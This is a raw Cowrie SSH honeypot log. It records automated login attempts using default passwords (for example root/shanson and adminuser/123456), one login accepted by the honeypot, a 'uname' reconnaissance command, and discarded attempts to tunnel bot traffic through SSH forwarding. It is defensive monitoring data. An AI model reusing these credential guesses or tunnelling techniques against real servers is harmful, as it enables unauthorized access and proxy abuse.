{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:41.373574Z","src_ip":"45.153.34.195","session":"45fe7bbd5842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:41.453708Z","src_ip":"45.153.34.195","session":"45fe7bbd5842","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:41.536831Z","src_ip":"91.92.40.36","session":"61e6da3a2c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:41.555228Z","src_ip":"91.92.40.36","session":"61e6da3a2c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:41.969568Z","src_ip":"150.136.214.177","session":"7d629aa6e553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:42.051234Z","src_ip":"45.153.34.195","session":"45fe7bbd5842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:43.268404Z","src_ip":"45.153.34.195","session":"45fe7bbd5842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54958,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ccf70d6e1d3","protocol":"ssh","message":"New connection: 45.153.34.195:54958 (10.17.0.5:22) [session: 0ccf70d6e1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:44.235303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:44.240110Z","src_ip":"45.153.34.195","session":"0ccf70d6e1d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:44.330026Z","src_ip":"45.153.34.195","session":"0ccf70d6e1d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":43862,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fbecf012a1c","protocol":"ssh","message":"New connection: 109.237.96.109:43862 (10.17.0.5:22) [session: 8fbecf012a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:44.648307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:44.652542Z","src_ip":"109.237.96.109","session":"8fbecf012a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:44.736264Z","src_ip":"109.237.96.109","session":"8fbecf012a1c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:44.856448Z","src_ip":"45.153.34.195","session":"0ccf70d6e1d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:44.944065Z","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shanson","message":"login attempt [root/shanson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:44.988656Z","src_ip":"109.237.96.109","session":"8fbecf012a1c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.069692Z","src_ip":"45.153.34.195","session":"0ccf70d6e1d3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.073093Z","src_ip":"45.153.34.195","session":"0ccf70d6e1d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.079829Z","src_ip":"23.175.50.47","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.082778Z","src_ip":"23.175.50.47","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'_=ezI0I21jZXdFR2QlWFJhVQ%3D%3DvDZ93H%2BfSG5fZupxqND7RWlnpdpBUUiNSaIS2%2Bu%2Bw3ev3diCsAxoDwY7iFt1i5h1frudhW0Vp9OLyq%2BnL3uvIMAC23ewBEMmKUYiCet38W94nsyJpQbOZi0hEtqeAXA9jJKpYX8FPZv1KeBSAI9WBwS5P%2B4KA0IPOTpAzqoWhfp3PtumF%2BuqMrJUgaw9oFlY2egu3%2BNjL1mMmuGW4EHZCuSQKBk8da1%2BpYeS%2Fr3Vccoo1ptSCe%2BQmfw0H1eSP%2Fj5GAubylg91rp9XgGiJ46Ur7EaYK%2F4Y5Chp2ZH0n90G4tieN4uf8CvM64dLYS0H3jkBfCHRRAEX9%2FsurSCHA%2B4PSLjuK2riPeoZygiMM7oEvL2xc79MmqCiMTJvyS6CRufOmN4iODiLuqnhM9eb2KURGWy4fivz2EMa%2FtkFzNlAdAxLfM%2BGNt0jYlHI%2FdT6yNGBFqtaWadrwv5c4NzzDCEXcWU1%2BkjkefCC5wgLJIojdJXFZImgK%2FgQCP%2BpZZlPCGMBmdhrLRxJALDMS86TS6w1%2Btdyjrm9y4aZNAQ92qfngpUkN5aNAXJgneWjbhlG8q%2FpmXa58JryF5zEAwR9mwD4%2FQ73tLdUrZb62qHOhsafcWwTbUbg1Wep1mt1MIDuH9IgDE5DsUvEq4OoxXB0aJYd9pCw2FioB5SIyukOOrA1PaaxsUtsGQWZ6FmaVOrjpZwE6ijcNXvIX1EudwQS7k1gZ5wXj56UH1QjwGYWcvB1DwB%2FEmWQDiHy6A0rkNyt6hJeLwJx6bRezD2GpDBzb62h5PGErtN7p3b6tdZmF%2BedZwHikeGEh2eQ1yTD5NPKGpkuzwTKlcb%2BDXtuRIs%2FDKfOHzGCP5FTTuSZiP70%2B5KEtXfpJqxpr4%2FKexP62J9TigjItLJcKOK16EAjTHEprZ6pqGh9a2vD32v1ysvf2qM8ktCwP4rO51HGzT1wN5wolCFLb31KYdGL33BIHX63Fjb0OwMw%2FVieCL7%2B%2FyLDlsB9x1B0543a%2B29f0gGALzGCkAgTHS74N3H259MNjlcyDNXOqlT%2BqDRTbsuX4FWwU8D8MDoYjXjHuLx7sZvEQbrMoJF'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'_=ezI0I21jZXdFR2QlWFJhVQ%3D%3DvDZ93H%2BfSG5fZupxqND7RWlnpdpBUUiNSaIS2%2Bu%2Bw3ev3diCsAxoDwY7iFt1i5h1frudhW0Vp9OLyq%2BnL3uvIMAC23ewBEMmKUYiCet38W94nsyJpQbOZi0hEtqeAXA9jJKpYX8FPZv1KeBSAI9WBwS5P%2B4KA0IPOTpAzqoWhfp3PtumF%2BuqMrJUgaw9oFlY2egu3%2BNjL1mMmuGW4EHZCuSQKBk8da1%2BpYeS%2Fr3Vccoo1ptSCe%2BQmfw0H1eSP%2Fj5GAubylg91rp9XgGiJ46Ur7EaYK%2F4Y5Chp2ZH0n90G4tieN4uf8CvM64dLYS0H3jkBfCHRRAEX9%2FsurSCHA%2B4PSLjuK2riPeoZygiMM7oEvL2xc79MmqCiMTJvyS6CRufOmN4iODiLuqnhM9eb2KURGWy4fivz2EMa%2FtkFzNlAdAxLfM%2BGNt0jYlHI%2FdT6yNGBFqtaWadrwv5c4NzzDCEXcWU1%2BkjkefCC5wgLJIojdJXFZImgK%2FgQCP%2BpZZlPCGMBmdhrLRxJALDMS86TS6w1%2Btdyjrm9y4aZNAQ92qfngpUkN5aNAXJgneWjbhlG8q%2FpmXa58JryF5zEAwR9mwD4%2FQ73tLdUrZb62qHOhsafcWwTbUbg1Wep1mt1MIDuH9IgDE5DsUvEq4OoxXB0aJYd9pCw2FioB5SIyukOOrA1PaaxsUtsGQWZ6FmaVOrjpZwE6ijcNXvIX1EudwQS7k1gZ5wXj56UH1QjwGYWcvB1DwB%2FEmWQDiHy6A0rkNyt6hJeLwJx6bRezD2GpDBzb62h5PGErtN7p3b6tdZmF%2BedZwHikeGEh2eQ1yTD5NPKGpkuzwTKlcb%2BDXtuRIs%2FDKfOHzGCP5FTTuSZiP70%2B5KEtXfpJqxpr4%2FKexP62J9TigjItLJcKOK16EAjTHEprZ6pqGh9a2vD32v1ysvf2qM8ktCwP4rO51HGzT1wN5wolCFLb31KYdGL33BIHX63Fjb0OwMw%2FVieCL7%2B%2FyLDlsB9x1B0543a%2B29f0gGALzGCkAgTHS74N3H259MNjlcyDNXOqlT%2BqDRTbsuX4FWwU8D8MDoYjXjHuLx7sZvEQbrMoJF'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.085883Z","src_ip":"23.175.50.47","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.089411Z","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.131159Z","src_ip":"91.92.40.36","session":"61e6da3a2c1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.149372Z","src_ip":"23.175.50.47","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03A\\x03\\xe4\\x8f/\\xe8\\xd2\\x10\\x7f\\xc3\\xaaL\"\\xdce\\x87r\\xbc\\x9aN\\xefD6\\x86\\x85eTp`$\\xcfd \\x02\\xb4\\x88\\xc5\\x9f\\xcf>\\xf4\\xf6R\\xcd\\x0c\\xa7\\xed\\x08i\\x1b\\xd5h\\x1e\\xdcw\\x0c\\xc58\\xa5\"\\xee\\xe3\\xab8\\xd6\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 ~L\\xc4Xc\\\\\\xf9\\x17j\\x9el\\x9c>\\xfe\\x1f\\x06\\x80\\x81G\\x12\\xfb\\x1c>H2y\\xf3\\xc9\\x05\\x8fAF\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03A\\x03\\xe4\\x8f/\\xe8\\xd2\\x10\\x7f\\xc3\\xaaL\"\\xdce\\x87r\\xbc\\x9aN\\xefD6\\x86\\x85eTp`$\\xcfd \\x02\\xb4\\x88\\xc5\\x9f\\xcf>\\xf4\\xf6R\\xcd\\x0c\\xa7\\xed\\x08i\\x1b\\xd5h\\x1e\\xdcw\\x0c\\xc58\\xa5\"\\xee\\xe3\\xab8\\xd6\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 ~L\\xc4Xc\\\\\\xf9\\x17j\\x9el\\x9c>\\xfe\\x1f\\x06\\x80\\x81G\\x12\\xfb\\x1c>H2y\\xf3\\xc9\\x05\\x8fAF\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.152067Z","src_ip":"23.175.50.47","session":"615ff6ba093d","protocol":"ssh"}
